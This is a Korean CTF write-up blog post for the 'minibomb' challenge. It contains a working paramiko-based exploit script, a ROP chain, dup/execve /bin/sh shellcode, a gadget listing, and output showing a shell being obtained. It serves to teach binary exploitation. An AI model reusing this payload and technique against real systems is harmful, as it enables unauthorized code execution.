>

import paramiko


import sys

import time

from struct import pack

shellcode = "\xb0\x29\xcd\x80"+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"


print len(shellcode)

p = lambda x:pack("<L",x)


payload = ""

payload += "a"*16

payload += p(0x40000424)

payload += p(0x080490fe)

payload += "bbbbcccc"

payload += p(0x40000423)

payload += p(0x40000423)

payload += p(0x40000423)

payload += p(0x40000426)

payload += p(0x00000021)

payload += p(0x0804813b)

payload += "a"*16

payload += p(0x080480ad)



payload_2 = ""

payload_2 += "b"*16

payload_2 += "\xc4\x2f\x00\x40"

payload_2 += shellcode


nbytes = 4096

hostname = "ctfagain.kr"

passwd = "EDguest"

ssh_port = 7000

ssh = paramiko.SSHClient()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh.connect(hostname, port=ssh_port,username='guest',password=passwd)

session = ssh.get_transport().open_session()

session.get_pty()

stdout_data = []

stderr_data = []

session.exec_command("stty -cooked;cd /home/minibomb/ ; ulimit -s unlimited;./minibomb")

raw_input()

session.send(payload)

raw_input()

session.send(payload_2)

print session.recv(65535)

raw_input()

session.send("cat key\n")

raw_input()

print session.recv(65535)


print 'exit status: ', session.recv_exit_status()

print ''.join(stdout_data)

print ''.join(stderr_data)


session.close()

ssh.close()


이런식으로 짠 이유는 익스플로잇 과정에서 dup을 실행시키고 다시 입력받을 때 이미 minibomb 바이너리가 close(0)을 수행했어서 입력 스트림에 있던 모든 데이터가 날아가버립니다.


2번째 read를 수행할 때 쉘 상에서 그냥 데이터 입력시켜주면 되긴 됩니다

여러 방도를 찾다가 python ssh 모듈인 paramiko를 이용해서 익스플로잇을 짰습니다.


당시 이 문제 환경이 로컬이였기 때문에 ulimit -s unlimited 를 하면 주소를 고정시킬 수가 있습니다. 순수 어셈블리로 코딩되었는지 동적 라이브러리를 로딩시키지 않아서 vdso 영역이나 data 영역에 일부 남아있는 가젯들을 조합해서 풀이를 해야했습니다.


취약점은 간단합니다. 

int __cdecl sub_80480FA()

{

  int v0; // eax@1

  int v1; // eax@1

  int v2; // eax@1

  int v4; // [sp+0h] [bp-10h]@1


  v0 = sys_write(1, "passcode: ", 10u);

  v1 = sys_read(0, &v4, 4096u);

  v2 = sys_close(0);

  return sys_write(1, "checking...\n", 12u);

}


main 함수에서 이 함수를 호출하는데 v4의 사이즈보다 훨씬 큰 4096 바이트를 입력받기 때문에 오버플로우 취약점이 일어납니다.


바이너리를 분석하다보면 old_mmap으로 메모리를 할당하는 루틴이 있는데 정적으로 박힌 old_mmap 구조체를 사용합니다. 이 구조체가 있는 메모리는 w 권한이 있어서 수정이 가능합니다. 이 구조체의 3번째 세번째 인자가 메모리 권한 부분인데 끝 자리가 7이면 rwx 권한을 모두 가질 수 있습니다. 


void __usercall start(int a1<edx>, size_t a2<ecx>, int a3<edi>, int a4<esi>)

{

  int v4; // ebp@1

  int v5; // eax@1

  int v6; // eax@1

  int v7; // eax@1

  int v8; // eax@1

  char v9; // [sp+0h] [bp+0h]@1


  v4 = ((unsigned int)&v9 | 0xFFFF) - 135167;

  v5 = old_mmap(&unk_8049150, a2, a1, a4, a3, v4);

  v6 = sys_munmap((void *)v4, 0x21000u);

  sub_80480FA();

  v7 = sys_write(1, "BOOM!!\n", 7u);

  v8 = sys_exit(0);

  JUMPOUT(*(int *)sub_80480FA);

}



구조체인 0x08049150을 보면


00 00 00 00 00 10 00 00 03 00 00 00 22 00 00 00 FF FF FF FF 00 00 00 00 


요건데 strace로 확인해보면 



old_mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)


이런 동작을 수행합니다. 저기서 굵은 표시한 03을 바꿔줘야합니다


바이너리의 가젯들을 보면


=========================================================================== 
 * ROP gadgets generated by ROPEME * 
=========================================================================== 
 + Binary info 
--------------------------------------------------------------------------- 
hash: 91801b8a0259ec433e1e236180f62525 
name: go.so 
type: ELF 
depth: 8 
base: 0xffffe400L 
arch: i386 
size: 15 
--------------------------------------------------------------------------- 
 + Unique gadgets: (offset: instruction) 
--------------------------------------------------------------------------- 
0x00000027: # ret ;; 
0x00000026: # pop ecx ; ret ;; 
0x00000025: # pop edx ; pop ecx ; ret ;; 
0x00000023: # sbb [ebp+0x5a] 0x59 ; ret ;; 
0x00000024: # pop ebp ; pop edx ; pop ecx ; ret ;; 
0x00000022: # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret ;; 
0x00000021: # nop ; int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret ;; 
0x00000020: # nop ; nop ; int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret ;; 
0x0000001f: # nop ; nop ; nop ; int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret ;; 
0x0000001e: # nop ; nop ; nop ; nop ; int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret ;; 

0x000000ad: # ret ;; 
0x000000aa: # add esp 0x10 ; ret ;; 
0x000000a8: # int 0x80 ; add esp 0x10 ; ret ;; 
0x000000a3: # mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x000000a6: # add [eax] al ; int 0x80 ; add esp 0x10 ; ret ;; 
0x000000a2: # add [ebx+0x1] bh ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000009e: # mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x000000a1: # add [eax] al ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x000000a4: # add [eax] eax ; add [eax] al ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000009d: # or [edx+0xc] bh ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x000000a0: # add [eax] al ; add [ebx+0x1] bh ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000009c: # add al 0x8 ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000009f: # or al 0x0 ; add [eax] al ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000099: # or eax 0x804917b ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000098: # lea ecx [0x804917b] ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000009a: # jnp 0x2d ; add al 0x8 ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000009b: # xchg ecx eax ; add al 0x8 ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000097: # add [ebp+0x4917b0d] cl ; or [edx+0xc] bh ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000093: # mov eax 0x4 ; lea ecx [0x804917b] ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000096: # add [eax] al ; lea ecx [0x804917b] ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000092: # cmp [eax+0x4] 0x8d ; or eax 0x804917b ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000095: # add [eax] al ; add [ebp+0x4917b0d] cl ; or [edx+0xc] bh ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000091: # int 0x80 ; mov eax 0x4 ; lea ecx [0x804917b] ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000094: # add al 0x0 ; add [eax] al ; lea ecx [0x804917b] ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x00000090: # add ch cl ; cmp [eax+0x4] 0x8d ; or eax 0x804917b ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000008c: # mov ebx 0x0 ; int 0x80 ; mov eax 0x4 ; lea ecx [0x804917b] ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000008f: # add [eax] al ; int 0x80 ; mov eax 0x4 ; lea ecx [0x804917b] ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 
0x0000008b: # add [ebx+0x0] bh ; int 0x80 ; mov eax 0x4 ; lea ecx [0x804917b] ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;; 

0x0000008e: # add [eax] al ; add ch cl ; cmp [eax+0x4] 0x8d ; or eax 0x804917b ; mov edx 0xc ; mov ebx 0x1 ; int 0x80 ; add esp 0x10 ; ret ;;

이런 식인데 sbb [ebp+0x5a] 0x59가젯으로 메모리의 한 바이트를 바꿔줄 수 있습니다.

원래 구조체의 메모리 권한 부분은 0x00000003 이였는데 여러번 sbb를 실행시키면 0x000000f7이 됩니다. 끝 자리가 7이라 rwx 권한을 가지게 됩니다.



old_mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0xf0, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40002000

이렇게 말이죠.



rwx 메모리를 할당받았으니 쉘코드를 올려두고 그 쪽으로 eip를 찍어주면 쉘이 실행됩니다.

쉘코드 앞에 dup 하는 코드를 추가했습니다 그 이유는 close(0)을 하기 때문에 쉘이 실행되도 입력을 못받기 때문입니다. 


요약하자면 

dup -> sbb로 old_mmap 구조체의 권한부분을 바꿈 -> 메모리 재할당 -> 쉘코드 실행 입니다.


root@ubuntu:~/paramiko/ex.py# python ex.py

45



passcode: aaaaaaaaaaaaaaaa$^D^@@þ^D^Hbbbbcccc#^D^@@#^D^@@#^D^@@&^D^@@!^@^@^@;^D^Haaaaaaaaaaaaaaaa­^D^Hchecking...

passcode: 



bbbbbbbbbbbbbbbb¯^@@°)̀101̀É￱0F̀1￐h//shh/bin⏓ﲒ°^K̀checking...

$ cat key^



키 부분은 일부러 지웠습니다.

'CTF' 카테고리의 다른 글

[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
christmas CTF Rudolph  (0) 2015.02.20
Codegate 2014 angrydoraemon write-up  (0) 2014.03.09
Codegate Junior 2014 Write-up  (0) 2014.03.05
Posted by Mungsul
,